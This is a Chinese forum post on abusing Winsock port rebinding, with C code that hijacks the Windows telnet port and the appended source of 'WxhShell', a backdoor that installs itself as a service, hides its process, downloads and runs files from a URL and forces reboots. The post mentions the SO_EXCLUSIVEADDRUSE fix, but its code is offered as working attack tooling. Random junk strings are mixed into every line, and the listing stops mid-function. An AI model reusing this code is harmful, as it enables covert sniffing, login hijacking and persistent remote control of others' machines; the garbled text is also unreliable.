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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _B^zm-}8|B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {.:$F3T  
p u(mHB  
  saddr.sin_family = AF_INET; F^O83[S  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lxL5Rit@Px  
x z _sejKB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6TW7E }a.  
Py)ZHML  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Uq  .6h  
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  这意味着什么?意味着可以进行如下的攻击: Ha@; Sz<R  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P"w\hF  
|H5.2P&9-5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7{|QkTgC  
5}#wp4U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5WQl?yMP  
kTvM,<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D4=*yP  
X$Vi=fvt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fW-C`x  
mOE *[S)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3"y 6|e/5  
.9jKD*U|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z]G|)16  
(>v'0 RA  
  #include \/NF??k,jk  
  #include M5^Y W#e  
  #include t2N W$ -E  
  #include    &3Zq1o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ||Zup\QB  
  int main() 9@ tp#  
  { cSb;a\el$  
  WORD wVersionRequested; ywa*?3?c  
  DWORD ret; S0,\{j  
  WSADATA wsaData; HxG8 'G  
  BOOL val; o<`hj&s  
  SOCKADDR_IN saddr; %=aKW[uq]  
  SOCKADDR_IN scaddr; XIW0Z C   
  int err; S&-K!XyJ  
  SOCKET s; 5'lPXKn+L  
  SOCKET sc; #4^d#Gj  
  int caddsize; YlHP:ZW-cu  
  HANDLE mt; $coO~qvU  
  DWORD tid;   X,QsE{  
  wVersionRequested = MAKEWORD( 2, 2 ); ZwmucY%3  
  err = WSAStartup( wVersionRequested, &wsaData ); -#|D>  
  if ( err != 0 ) { NQ9v[gv  
  printf("error!WSAStartup failed!\n"); k ka5=u  
  return -1; H9cPtP~a)  
  } [^5\Ww  
  saddr.sin_family = AF_INET; ks4`h>i  
   V0nQmsP1U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $T'!??|IF  
'0+*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DP ? d C`  
  saddr.sin_port = htons(23); Wq1>Bj$J8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *pKTJP  
  { }47h0 i  
  printf("error!socket failed!\n"); @+u>rS|IB  
  return -1; d ]P~  
  } ScPVjqG2{  
  val = TRUE; {K,In)4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *%j$i_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y=Vbs x  
  { .G0 N+)  
  printf("error!setsockopt failed!\n"); Luq4q95]  
  return -1; 7;'33Bm*  
  } y~SVD@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Wl j&_~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .JhQxXj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zj`WRH4  
:KLXrr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xA] L0h]  
  { z|l*5@p  
  ret=GetLastError(); + ?1GscJ   
  printf("error!bind failed!\n"); U ZM #O  
  return -1; 22\!Z2@T/  
  } EYAaK^ &  
  listen(s,2); kBu{ bxL  
  while(1) oaoTd$/5  
  { X\|!  
  caddsize = sizeof(scaddr); {Cx5m   
  //接受连接请求 ,^(]zZh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k:@DK9 "^  
  if(sc!=INVALID_SOCKET) ?e7]U*jEU  
  { a)qan  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6  63o  
  if(mt==NULL)  T{YZ`[  
  { MY&Jdmga  
  printf("Thread Creat Failed!\n"); Swi# ^i  
  break; 25^?|9o7  
  } bF'rK'',  
  } p9(y b  
  CloseHandle(mt); >| R'dF}  
  } Wa_qD  
  closesocket(s); YG p+[|'  
  WSACleanup(); ._mep\#.:  
  return 0; }U_ ' 7_JT  
  }   qNp1<QO0  
  DWORD WINAPI ClientThread(LPVOID lpParam) xP;r3u s  
  { O7K.\  
  SOCKET ss = (SOCKET)lpParam; K2   
  SOCKET sc; ]MbPivM  
  unsigned char buf[4096]; I=Y>z ^4  
  SOCKADDR_IN saddr; _X6'u J  
  long num; 8.E"[QktZ  
  DWORD val; 'rQ"Dc1D  
  DWORD ret; A'WR!*Yt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v3tJtb^'!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bOS)vt*V  
  saddr.sin_family = AF_INET; MK$u }G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <n"BPXF~  
  saddr.sin_port = htons(23); D #ddx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QLA.;`HIE  
  { bz>X~   
  printf("error!socket failed!\n"); cr7MvXF-  
  return -1; $vO&C6m$  
  } {Kz,_bo  
  val = 100; 7nZPh3%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e#eVc'=cDR  
  { x&}]8S)  
  ret = GetLastError(); *GP2>oEM  
  return -1; /zn=AAYb  
  } o5<<vvdA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '%)R}wgV  
  { *{o7G  a  
  ret = GetLastError(); e~'` x38  
  return -1; jN=<d q ~  
  } P&-o>mM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Yo-}uTkw  
  { H=t"qEp  
  printf("error!socket connect failed!\n"); ]S|FK>U[  
  closesocket(sc); Xlo7enzY  
  closesocket(ss); wb-yAQ8  
  return -1; 7*/{m K)  
  } zM0NRERi  
  while(1) I<SgKva;c  
  { k$EVr([  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K|& f5w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zmMc*|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Mf}M/Fh  
  num = recv(ss,buf,4096,0); wBPo{  
  if(num>0) ITu19WG  
  send(sc,buf,num,0); YFKE>+  
  else if(num==0) 9 _d2u#  
  break; }x8!{Y#cF  
  num = recv(sc,buf,4096,0); 1+o]+Jz|  
  if(num>0) hy;VvAH 5  
  send(ss,buf,num,0); IRdt:B|@  
  else if(num==0) jvT'N@  
  break; E+td~&x  
  } hbjAxioA  
  closesocket(ss); l,ENMKA^D  
  closesocket(sc); #;!&8iH  
  return 0 ; 'sNZFB#  
  } W&z jb>0b0  
)Q)qz$h@  
BFLef3~.0  
========================================================== 7>JYwU{  
yNTd_XPL  
下边附上一个代码,,WXhSHELL IThd\#=  
. ,7bGY 1$  
========================================================== R>Ra~ b  
n|`3d~9$&  
#include "stdafx.h" n ]ikc|  
XtF m5\U  
#include <stdio.h> DwD$T%kF  
#include <string.h> b7Y g~Lw  
#include <windows.h> 74s{b]jN'-  
#include <winsock2.h> @hLkU4S  
#include <winsvc.h> YJi%vQ*]  
#include <urlmon.h> 8h )XULs2  
2*Z2uV^  
#pragma comment (lib, "Ws2_32.lib")  8*ZsR)!  
#pragma comment (lib, "urlmon.lib") rIb+c=|F  
49$P  
#define MAX_USER   100 // 最大客户端连接数 <LX\s*M)  
#define BUF_SOCK   200 // sock buffer O5\r%&$xd  
#define KEY_BUFF   255 // 输入 buffer gN&i &%*!  
pO]gf$  
#define REBOOT     0   // 重启 zF&VzNR2  
#define SHUTDOWN   1   // 关机 %36x'Dn ?  
}xZi Ct  
#define DEF_PORT   5000 // 监听端口 &&ioGy}1  
%p Wn9  
#define REG_LEN     16   // 注册表键长度 Fu7:4+  
#define SVC_LEN     80   // NT服务名长度 x)5}:b1B=  
dZM^?rq  
// 从dll定义API oy+|:[v:Fk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Iq$| ?MH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )U^=`* 7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m 2H4V+M+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :qYp%Ub  
~zp8%lEe  
// wxhshell配置信息 "TRS(d|3  
struct WSCFG { ul{x|R  
  int ws_port;         // 监听端口 5>532X(0  
  char ws_passstr[REG_LEN]; // 口令 yTm \O UD  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ _Of0<  
  char ws_regname[REG_LEN]; // 注册表键名 =KRM`_QShg  
  char ws_svcname[REG_LEN]; // 服务名 TS<d?:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /-=fWtA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )0{`}7X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QV4|f[Ki%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @SQsEq+A?\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z*@eQauA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b0P3S!E  
"gJ?LojB<  
}; lH-VqkR\  
s.3"2waZ=T  
// default Wxhshell configuration 3G} )$y3m  
struct WSCFG wscfg={DEF_PORT, P8 X07IK  
    "xuhuanlingzhe", Ik G&  
    1, 5'%I4@Qn+  
    "Wxhshell", K`*GZ+b|`  
    "Wxhshell", r924!zdbR  
            "WxhShell Service", U,<m%C"  
    "Wrsky Windows CmdShell Service", l.YE@EL  
    "Please Input Your Password: ", HB07 n4 |  
  1, =C %)(|  
  "http://www.wrsky.com/wxhshell.exe", bQ< qdGa  
  "Wxhshell.exe" .35(MFvq!  
    }; d\z6Ob"t  
=j7Du[?Vu  
// 消息定义模块 (f/(q-7VWt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -YoL.`s1   
char *msg_ws_prompt="\n\r? for help\n\r#>"; w,{h9f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6j E.X  
char *msg_ws_ext="\n\rExit."; &OR(]Wt0  
char *msg_ws_end="\n\rQuit."; ;$p!dI\-Q  
char *msg_ws_boot="\n\rReboot..."; 43=v2P0=Tj  
char *msg_ws_poff="\n\rShutdown..."; !pU$'1D  
char *msg_ws_down="\n\rSave to "; fI.|QD*$b  
bWPsfUn#  
char *msg_ws_err="\n\rErr!"; z 4u&#.bU  
char *msg_ws_ok="\n\rOK!"; <T 2O^  
x6ghO-s  
char ExeFile[MAX_PATH]; j#HXuV6  
int nUser = 0; a`O'ZY  
HANDLE handles[MAX_USER]; .jrNi=BP*  
int OsIsNt; .#EU@Hc  
SX4*804a_  
SERVICE_STATUS       serviceStatus; A#U! KX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Koa9W >!  
xd Z$|{,  
// 函数声明 Z)!8a$M~  
int Install(void); i'Y8-})  
int Uninstall(void); %ms%0%  
int DownloadFile(char *sURL, SOCKET wsh); 5K vp%   
int Boot(int flag); '/ Aq2  
void HideProc(void); @@d_F<Ym[  
int GetOsVer(void); y^2#;0W  
int Wxhshell(SOCKET wsl); qHt/,w='Q  
void TalkWithClient(void *cs); VKa+[  
int CmdShell(SOCKET sock); mV0,T*}e  
int StartFromService(void); yC' y>f`H  
int StartWxhshell(LPSTR lpCmdLine); 2>z YJqG|  
>?g@Nt8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j^G=9r[,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >%/x~UFc5  
:!gNOR6Lh  
// 数据结构和表定义 CmEqo;Is  
SERVICE_TABLE_ENTRY DispatchTable[] = 1tuvJ+`{  
{ ZL|aB886  
{wscfg.ws_svcname, NTServiceMain}, wMS%/l0p1  
{NULL, NULL} !'f7;%7s  
}; q4ROuE|d  
Pnytox  
// 自我安装 ^eW<-n@^  
int Install(void) y)kxR  
{ EJ:O 1  
  char svExeFile[MAX_PATH]; {Jn0G;  
  HKEY key; M7#!Y=  
  strcpy(svExeFile,ExeFile); m8n)sw,,  
EQ%ooAb8  
// 如果是win9x系统,修改注册表设为自启动 7x)Pt@c  
if(!OsIsNt) { jAJ='|[X\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3,PR6a,b'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mK:gj&N7X|  
  RegCloseKey(key); hSehJjEoM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9QQ XB-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xv1vq -cM  
  RegCloseKey(key); ,dC.|P' `  
  return 0; WJ{Iv] }9  
    } J4bP(=w!  
  } NcA `E_3  
} 91OxUVd  
else { 2z>-H595az  
;"dX]":  
// 如果是NT以上系统,安装为系统服务 zlMh^+rMX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .n:Q~GEL  
if (schSCManager!=0) sXVl4!=l6  
{ i>M%)HN  
  SC_HANDLE schService = CreateService aZ@pfWwa:  
  ( Pps$=`  
  schSCManager, "i&)+dr-  
  wscfg.ws_svcname, 0C4eer+D  
  wscfg.ws_svcdisp, i/:L^SQAq  
  SERVICE_ALL_ACCESS, gt{kjrTv&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D e&,^"%  
  SERVICE_AUTO_START, 5lsslE+:J  
  SERVICE_ERROR_NORMAL, ^'QO!{7f  
  svExeFile, U]hqRL  
  NULL, 9f~qD&~  
  NULL, fPe S;  
  NULL, _8G w Mj  
  NULL, 9xA4;)36  
  NULL Hf4_zd  
  ); o3 0C\  
  if (schService!=0) }`=7%b`-?  
  { t:wBh'K~R8  
  CloseServiceHandle(schService); h'y"`k -  
  CloseServiceHandle(schSCManager); i{$-[*WHiV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vh-8pF t  
  strcat(svExeFile,wscfg.ws_svcname); K0w}l" )A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =O}I{dNKZV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S:1[CNL;  
  RegCloseKey(key); CPB{eQeDuv  
  return 0; u\LNJo| B  
    } 1$Hou   
  } [,;Y5#Y[5  
  CloseServiceHandle(schSCManager); !*]i3 ,{7v  
} .7Mf(1:  
} ?G`m;S  
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return 1; [O3:?BNY  
} 9NTNulD>P  
ni;)6,i  
// 自我卸载 z;JV3) E  
int Uninstall(void) @]qP:h.  
{ kf@JEcKV  
  HKEY key; 1PY]Q{r  
)kep:-wm  
if(!OsIsNt) { =lAjQt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IfmQP s+f  
  RegDeleteValue(key,wscfg.ws_regname); =g+}4P  
  RegCloseKey(key); O Z ./suR)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eT b!xb  
  RegDeleteValue(key,wscfg.ws_regname); Pmv@  
  RegCloseKey(key); E &9<JS  
  return 0; nDn J}`k  
  } WK|5:V8E  
} T"xJY#)}  
} /r4l7K  
else { N7?]eD  
p]L]=-(qI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y` }X5(A@  
if (schSCManager!=0) @i#JlZM_  
{ !!\}-r^y%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h,c*:  
  if (schService!=0) @c^ Dl  
  { )j;^3LiV3  
  if(DeleteService(schService)!=0) { =p+n(C/  
  CloseServiceHandle(schService); (z sG!v  
  CloseServiceHandle(schSCManager); s{b\\$Rb  
  return 0; Jc":zR@5  
  } ^N7H~CT"  
  CloseServiceHandle(schService); Pd7\Q]of  
  } *)K\&h<{  
  CloseServiceHandle(schSCManager); 1L,L/sOwB&  
} R-%6v2;ry  
} $0$sM/%  
!Cgj >=  
return 1; um%_kX  
} (MLcA\LJ  
6Vnq|;W3Zv  
// 从指定url下载文件 [ar0{MPYd  
int DownloadFile(char *sURL, SOCKET wsh) 5G355 ,}E  
{ biHacm  
  HRESULT hr; evZcoH3~  
char seps[]= "/"; }Xj25` x  
char *token; iC3z5_g*@  
char *file; _(-jk4 L  
char myURL[MAX_PATH]; +/[M Ex=   
char myFILE[MAX_PATH]; !( lcUdBd  
Y w0,K&  
strcpy(myURL,sURL); ?t YZ/  
  token=strtok(myURL,seps); "3^tVX%$\[  
  while(token!=NULL) 0&s6PS%  
  { ,l~<|\4,wv  
    file=token; |aDBp  
  token=strtok(NULL,seps); 4&W?: =H2  
  } mB-,\{)  
 GK/Po51  
GetCurrentDirectory(MAX_PATH,myFILE); ZV gfrvZP  
strcat(myFILE, "\\"); T-N>w;P  
strcat(myFILE, file); *}\M!u{J  
  send(wsh,myFILE,strlen(myFILE),0); u"h/ERCa  
send(wsh,"...",3,0); }JFTe g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %o8o~B|{.U  
  if(hr==S_OK) 6x^$W ]R  
return 0; uHU@j(&c  
else s|p I`  
return 1; sZrVANyqb  
%j tUbBN  
} w0!$ow.l  
w(@r-2D"  
// 系统电源模块 Jk*cuf `rq  
int Boot(int flag) @` KYgjjH  
{ _:Qh1 &h  
  HANDLE hToken; krfXvQJwJ  
  TOKEN_PRIVILEGES tkp; F` ybe\  
xFF!)k #  
  if(OsIsNt) { v@zi?D K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gd!-fqNa'x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ? Ek)" l  
    tkp.PrivilegeCount = 1; M!,H0( @G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hC2Fup1@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `n$Ak5f  
if(flag==REBOOT) { Z1 Nep !  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z>N[veX%  
  return 0; CY o m  
} ILm +o$o ~  
else { (H_dZL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '?C6P5fm  
  return 0;  uo`R  
} yX!u&  
  } I/7!5Z*  
  else { t^'nh 1=  
if(flag==REBOOT) { E !!,JnU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rxyv+@~Nc  
  return 0; k ]NZ%.  
} :u4|6?  
else { AA5G` LiT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Um+_ S@h  
  return 0; DZ|*hQU>K  
} _r-LX"  
} `N\ ^JAGW  
:9QU\{2  
return 1; pyhXET '  
} |mt W)  
uZ?P{E,K  
// win9x进程隐藏模块 vx9!KWy}  
void HideProc(void) 4A J]qu  
{ dgP e H8_  
;g0s1nz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?TA7i b_  
  if ( hKernel != NULL ) XmQ ;Roe  
  { 5t:Zp\$+`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yX!fj\R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); == wX.y\.n  
    FreeLibrary(hKernel); \dHqCQ  
  } m4m-JD|v  
58Ibje  
return; ^ 9+ Qxv  
} v*.R<- X:  
m%L!eR  
// 获取操作系统版本 SRfh{u  
int GetOsVer(void) m]?Z_*1  
{ 9\"\7S/Z  
  OSVERSIONINFO winfo; btg= # u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b d 1^  
  GetVersionEx(&winfo); r6F TpOF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) llZU: bs  
  return 1; {($bz T7c  
  else {L;sF=d  
  return 0; ;VLDXvGd  
} ^/#+0/Bn  
G`l\R:Q  
// 客户端句柄模块 Lip#uuuXXN  
int Wxhshell(SOCKET wsl) O_;BZzT  
{ *}vvS^c0  
  SOCKET wsh; o"JH B  
  struct sockaddr_in client; ; $rQ  
  DWORD myID; 4r$#-  
2_pF#M9  
  while(nUser<MAX_USER) ]y {tMC  
{ 3#t9pI4  
  int nSize=sizeof(client); IRg2\Hq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  /!ElAL  
  if(wsh==INVALID_SOCKET) return 1; $^Xxn.B9  
~);4O8~.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e]1=&:eX#d  
if(handles[nUser]==0) "]"0d[d  
  closesocket(wsh); kZF]BPh.  
else I7vP*YE 7F  
  nUser++; 5.^pD9[mT  
  } w"0$cL3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); br=e+]C Y)  
.6gx|V+  
  return 0;  ,t 2CQ  
} uUfw"*D  
Ij(dgY  
// 关闭 socket XEiVs\) G  
void CloseIt(SOCKET wsh) &m--}  
{ bbjba36RO  
closesocket(wsh); JM;bNW8  
nUser--; eP~3m  
ExitThread(0); IX+Jf? &^  
} )#AYb   
jN+`V)p  
// 客户端请求句柄 OD'~t,St  
void TalkWithClient(void *cs) {APfSD_4  
{ lH3.q4D 5  
-=lm`X<:  
  SOCKET wsh=(SOCKET)cs; /6rjGc  
  char pwd[SVC_LEN]; XI`_PQco  
  char cmd[KEY_BUFF]; a >fA-@  
char chr[1]; .45wwouZkc  
int i,j; Z kw-a  
Mzg'$]N  
  while (nUser < MAX_USER) { MNs<yQ9I'  
ai;!Q%B#Q  
if(wscfg.ws_passstr) { l]|&j`'O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6teu_FS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q3>qT84  
  //ZeroMemory(pwd,KEY_BUFF); ^U~Er'mT  
      i=0; 9-n]_AF`0  
  while(i<SVC_LEN) { HZ<#H3_ix  
+_:p8, 5o  
  // 设置超时 .U(6])%;@  
  fd_set FdRead; xd3mAf  
  struct timeval TimeOut; cPIyD?c  
  FD_ZERO(&FdRead); L^e*_q2d:>  
  FD_SET(wsh,&FdRead); 2>"{El|PbN  
  TimeOut.tv_sec=8; u0R[TA3  
  TimeOut.tv_usec=0; .:H'9QJg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %;4#?.W8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TJNE2  
"|i1A R:I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5S? "<+J'  
  pwd=chr[0]; 08:K9zr  
  if(chr[0]==0xd || chr[0]==0xa) { yHM2 9fEZk  
  pwd=0; x/1FQ>n:9  
  break; cMi9 Z]  
  } `T[yyOL/  
  i++; 0(&uH0x  
    } 5M\0t\uEn  
Mxz X@GBX  
  // 如果是非法用户,关闭 socket 4oF,;o+v\4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 36'J9h\  
} rKPsv*w  
vasw@Uto)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); toF6 Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'NWvQR<X  
BfCib]V9C  
while(1) { =SJ[)|  
|QzJHP @  
  ZeroMemory(cmd,KEY_BUFF); ' Sd&I:?  
ZHen:  
      // 自动支持客户端 telnet标准   zX=%BL?  
  j=0; :8n?G  
  while(j<KEY_BUFF) { .aZB?M W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iy5W/QK6  
  cmd[j]=chr[0]; ~i^,Z&X:  
  if(chr[0]==0xa || chr[0]==0xd) { pnz@;+f  
  cmd[j]=0; #O^zA`D   
  break; .*k!Zl*  
  } ,,XHw;{  
  j++; KI<x`b  
    } f`8fNt  
z=k*D^X  
  // 下载文件 ZbH6$2r  
  if(strstr(cmd,"http://")) { ?{Xp'D\z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8Pom^QopK  
  if(DownloadFile(cmd,wsh)) \i~5H]?d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #oGvxc7  
  else -NG9?sI\U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =L$RY2S"  
  } "z.!h(Eq  
  else { y^p%/p%  
@Ng q+uXm  
    switch(cmd[0]) { j@Us7Q)A(  
  nkkGJV!  
  // 帮助 suj}A  
  case '?': { jaThS!>v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t[%=[pJHW  
    break; QL(}k)dB  
  } `).;W  
  // 安装 0txSF^x  
  case 'i': { lSId<v?C>  
    if(Install()) x^F2Ywp%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); If9!S} wa  
    else B7ys`eiB5C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '\m\$ {  
    break; `.6Jgfu  
    } ZG)C#I1;O  
  // 卸载 Jf2:[ Mq  
  case 'r': { N_!Zn"J  
    if(Uninstall()) of<>M4/g4y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L3Q1az!Ct  
    else _Q;M$.[zyR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CQY/q@7  
    break; a-TsD}'X  
    } zGFW?|o<  
  // 显示 wxhshell 所在路径 [TV"mA  
  case 'p': { }\ui} \  
    char svExeFile[MAX_PATH]; ^_ZQf  
    strcpy(svExeFile,"\n\r"); :kI x?cc  
      strcat(svExeFile,ExeFile); .uagD[${  
        send(wsh,svExeFile,strlen(svExeFile),0); d>4e9M "  
    break; B<'V7#L_  
    } H+2J.&Ch  
  // 重启 HNoh B4vt  
  case 'b': { 7]9s_13]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -ap;Ul?  
    if(Boot(REBOOT)) e;}5~dSi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Q\H1|?  
    else { ELNA-ZKp  
    closesocket(wsh); J=]w$e ?.P  
    ExitThread(0); Zr 2QeLQC(  
    } FkE CY  
    break; B 9]sSx  
    } !r!Mq~X<=  
  // 关机 7!N5uR  
  case 'd': { CM's6qhQnn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )@`w^\E_~_  
    if(Boot(SHUTDOWN)) Q+ST8  
